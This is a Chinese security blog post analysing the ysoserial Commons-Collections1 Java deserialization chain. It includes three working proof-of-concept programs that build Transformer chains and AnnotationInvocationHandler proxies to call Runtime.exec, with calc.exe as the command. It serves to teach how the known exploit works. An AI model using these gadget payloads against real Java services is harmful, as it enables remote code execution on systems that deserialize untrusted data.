ysoserial系列-Commons-Collections1链分析

阅读量    47284 |

分享到: QQ空间 新浪微博 微信 QQ facebook twitter

 

前言

在之前的文章中已经分析了ysoserial中 URLDNS 链,有兴趣的师傅可以阅读一下。但是这条链子也只是 Java 反序列化学习的开胃菜,接下来的 Commons-Collections 利用链才是主菜。

ysoserial系列-URLDNS链分析

不过在正式分析 Common-Collections1 利用链之前,先讲解一下Transformer接口以及继承了这个接口的类。

 

Transformer

找到它的源代码:

package org.apache.commons.collections;

public interface Transformer {
    Object transform(Object var1);
}

可以看到Transformer接口只有一个transform方法,之后所有继承该接口的类都需要实现这个方法。

再看一下官方文档如何描述这个方法的:

大致意思就是会将传入的object进行转换,然后返回转换后的object。还是有点抽象,不过没关系,先放着接下来再根据继承该接口的类进行具体分析。

ConstantTransformer

部分源码如下:

public ConstantTransformer(Object constantToReturn) {
        this.iConstant = constantToReturn;
    }

public Object transform(Object input) {
    return this.iConstant;
}

ConstantTransformer类当中的transform方法就是将初始化时传入的对象返回。

InvokerTransformer

部分源码如下:

public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
        this.iMethodName = methodName;
        this.iParamTypes = paramTypes;
        this.iArgs = args;
    }

public Object transform(Object input) {
        if (input == null) {
            return null;
        } else {
            try {
                Class cls = input.getClass();
                Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
                return method.invoke(input, this.iArgs);
            } catch (NoSuchMethodException var5) {
                throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");
            } catch (IllegalAccessException var6) {
                throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
            } catch (InvocationTargetException var7) {
                throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var7);
            }
        }
    }

InvokerTransformer类的构造函数传入三个参数——方法名,参数类型数组,参数数组。在transform方法中通过反射机制调用传入某个类的方法,而调用的方法及其所需要的参数都在构造函数中进行了赋值,最终返回该方法的执行结果。

ChainedTransformer

部分源码如下:

public ChainedTransformer(Transformer[] transformers) {
        this.iTransformers = transformers;
    }

public Object transform(Object object) {
        for(int i = 0; i < this.iTransformers.length; ++i) {
            object = this.iTransformers[i].transform(object);
        }

        return object;
    }

ChainedTransformer类利用之前构造方法传入的transformers数组通过循环的方式调用每个元素的trandsform方法,将得到的结果传入下一次循环的transform方法中。

那么这样我们可以利用ChainedTransformerConstantTransformerInvokerTransformertransform方法串起来。通过ConstantTransformer返回某个类,交给InvokerTransformer去调用类中的某个方法。

 

demo 1

链条已经有了,就差让链条走起来了,以下POC都是基于P牛代码上修改的。

Map innerMap = new HashMap();
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
outerMap.put("test", "test");

看一下TrandsformedMap里的部分源码:

public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
        return new TransformedMap(map, keyTransformer, valueTransformer);
    }

protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
    super(map);
    this.keyTransformer = keyTransformer;
    this.valueTransformer = valueTransformer;
}

protected Object transformKey(Object object) {
    return this.keyTransformer == null ? object : this.keyTransformer.transform(object);
}

protected Object transformValue(Object object) {
    return this.valueTransformer == null ? object : this.valueTransformer.transform(object);
}

public Object put(Object key, Object value) {
    key = this.transformKey(key);
    value = this.transformValue(value);
    return this.getMap().put(key, value);
}

TransformedMapdecorate方法根据传入的参数重新实例化一个TransformedMap对象,再看put方法的源码,不管是key还是value都会间接调用transform方法,而这里的this.valueTransformer也就是transformerChain,从而启动整个链子。

第一版的 POC 如下:

package ysoserial.CommonsCollections1;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.util.HashMap;
import java.util.Map;

public class demo {
    public static void main(String[] args) {
        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.getRuntime()),
                new InvokerTransformer("exec", new Class[]{String.class},
                        new Object[]{"C:\\Windows\\System32\\calc.exe"}),
        };

        Transformer transformerChain = new ChainedTransformer(transformers);

        Map innerMap = new HashMap();
        Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
        outerMap.put("test", "test");
    }
}

 

demo 2

在第一版 POC 中是手工添加了put操作,但是在反序列化的操作中我们需要找到一个类,直接或者间接的方式去调用类似于put的操作。

AnnotationInvocationHandlerreadObject方法:

private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
    var1.defaultReadObject();
    AnnotationType var2 = null;

    try {
        var2 = AnnotationType.getInstance(this.type);
    } catch (IllegalArgumentException var9) {
        throw new InvalidObjectException("Non-annotation type in annotation serial stream");
    }

    Map var3 = var2.memberTypes();
    Iterator var4 = this.memberValues.entrySet().iterator();

    while(var4.hasNext()) {
        Entry var5 = (Entry)var4.next();
        String var6 = (String)var5.getKey();
        Class var7 = (Class)var3.get(var6);
         if (var7 != null) {
            Object var8 = var5.getValue();
            if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy) {
               var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));
            }
        }        
    }
}

这里的memberValues就是TransformedMap,在遍历TransformedMap里元素的时候调用了setValue

// AbstractInputCheckedMapDecorator.class
public Object setValue(Object value) {
    value = this.parent.checkSetValue(value);
    return super.entry.setValue(value);
}

// TransformedMap.class
protected Object checkSetValue(Object value) {
    return this.valueTransformer.transform(value);
}

所以将transformerChain作为参数传入AnnotationInvocationHandler,之后再将其反序列化即可完成调用链。

第二版的 POC 如下:

package ysoserial.CommonsCollections1;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;

public class LazyDemo {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"C:\\Windows\\System32\\calc.exe"})
        };

        Transformer tranformerChain = new ChainedTransformer(transformers);
        Map innerMap = new HashMap();
        innerMap.put("value", "1");
        Map outerMap = LazyMap.decorate(innerMap, tranformerChain);

        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
        constructor.setAccessible(true);
        InvocationHandler handler = (InvocationHandler) constructor.newInstance(Target.class, outerMap);
        Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[]{Map.class}, handler);
        handler = (InvocationHandler) constructor.newInstance(Retention.class, proxyMap);

        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(handler);

        System.out.println(barr);
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        Object o = (Object) ois.readObject();
    }
}

细节 1

问:为什么传给 ConstantTransformer 的是 Runtime.class,而不直接传入 Runtime.getRuntime()

答:这是因为在 Java 反序列化中,需要反序列化的对象必须实现java.io.Serializable接口,而Runtime类并没有实现该接口,所以这里得用反射的方式获取Runtime对象,而 POC 当中的 Runtime.classjava.lang.Class对象,该类实现了java.io.Serializable接口。

细节 2

问:为什么通过反射的方式实例化 AnnotationInvocationHandler,并且为什么传入的是Target.class,该参数的作用是什么

答:AnnotationInvocationHandler是 JDK 内部类,不能直接实例化;AnnotationInvocationHandlerreadObject需要使得var7 != null,而它的条件为(P牛原答)

细节 3

在调试该利用链的时候 JDK 版本必须小于8u71,因为在之后的版本中AnnotationInvocationHandler:readObject已经被官方修改了。

 

demo 3

ysoserial中使用的并不是TransformedMap而是LazyMap

TransformedMapLazyMap不同的是,LazyMap中能够调用transform的只有get方法,所以无法在AnnotationInvocationHandler:readObject中直接使用。

public Object get(Object key) {
    if (!super.map.containsKey(key)) {
        Object value = this.factory.transform(key);
        super.map.put(key, value);
        return value;
    } else {
        return super.map.get(key);
    }
}

不过在AnnotationInvocationHandler:invoke中调用了this.memberValues.get(var4)(注释处),这里的memberValues就是LazyMap,所以需要通过某种方式在反序列化当中能够调用AnnotationInvocationHandler:invoke方法。

public Object invoke(Object var1, Method var2, Object[] var3) {
    String var4 = var2.getName();
    Class[] var5 = var2.getParameterTypes();
    if (var4.equals("equals") && var5.length == 1 && var5[0] == Object.class) {
        return this.equalsImpl(var3[0]);
    } else if (var5.length != 0) {
        throw new AssertionError("Too many parameters for an annotation method");
    } else {
        byte var7 = -1;
        switch(var4.hashCode()) {
        case -1776922004:
            if (var4.equals("toString")) {
                var7 = 0;
            }
            break;
        case 147696667:
            if (var4.equals("hashCode")) {
                var7 = 1;
            }
            break;
        case 1444986633:
            if (var4.equals("annotationType")) {
                var7 = 2;
            }
        }

        switch(var7) {
        case 0:
            return this.toStringImpl();
        case 1:
            return this.hashCodeImpl();
        case 2:
            return this.type;
        default:
            Object var6 = this.memberValues.get(var4); // here
            if (var6 == null) {
                throw new IncompleteAnnotationException(this.type, var4);
            } else if (var6 instanceof ExceptionProxy) {
                throw ((ExceptionProxy)var6).generateException();
            } else {
                if (var6.getClass().isArray() && Array.getLength(var6) !=0) {
                    var6 = this.cloneArray(var6);
                }

                return var6;
            }
        }
    }
}

ysoserial的作者使用了对象代理的方式,关于 Java 动态代理,这篇文章讲得很好

https://www.zhihu.com/question/20794107

简而言之就是当调用到被代理对象的任何方法时,都会先调用InvocationHandler接口中的invoke方法,而AnnotationInvocationHandler正好实现了该接口。

所以修改后的 POC 如下:

package ysoserial.CommonsCollections1;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;

public class LazyDemo {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"C:\\Windows\\System32\\calc.exe"})
        };

        Transformer tranformerChain = new ChainedTransformer(transformers);
        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap, tranformerChain);

        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
        constructor.setAccessible(true);
        InvocationHandler handler = (InvocationHandler) constructor.newInstance(Retention.class, outerMap);
        Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[]{Map.class}, handler);
        // 因为反序列化的入口是 AnnotationInvocationHandler,所以需要将传入 proxyMap 去再次实例化 AnnotationInvocationHandler 
        handler = (InvocationHandler) constructor.newInstance(Retention.class, proxyMap);

        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(handler);

        System.out.println(barr);
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        Object o = (Object) ois.readObject();
    }
}

 

参考链接

  1. https://github.com/phith0n/JavaThings
  2. https://www.zhihu.com/question/20794107
  3. https://blog.chaitin.cn/2015-11-11_java_unserialize_rce/
分享到: QQ空间 新浪微博 微信 QQ facebook twitter
|推荐阅读
|发表评论
|评论列表
加载更多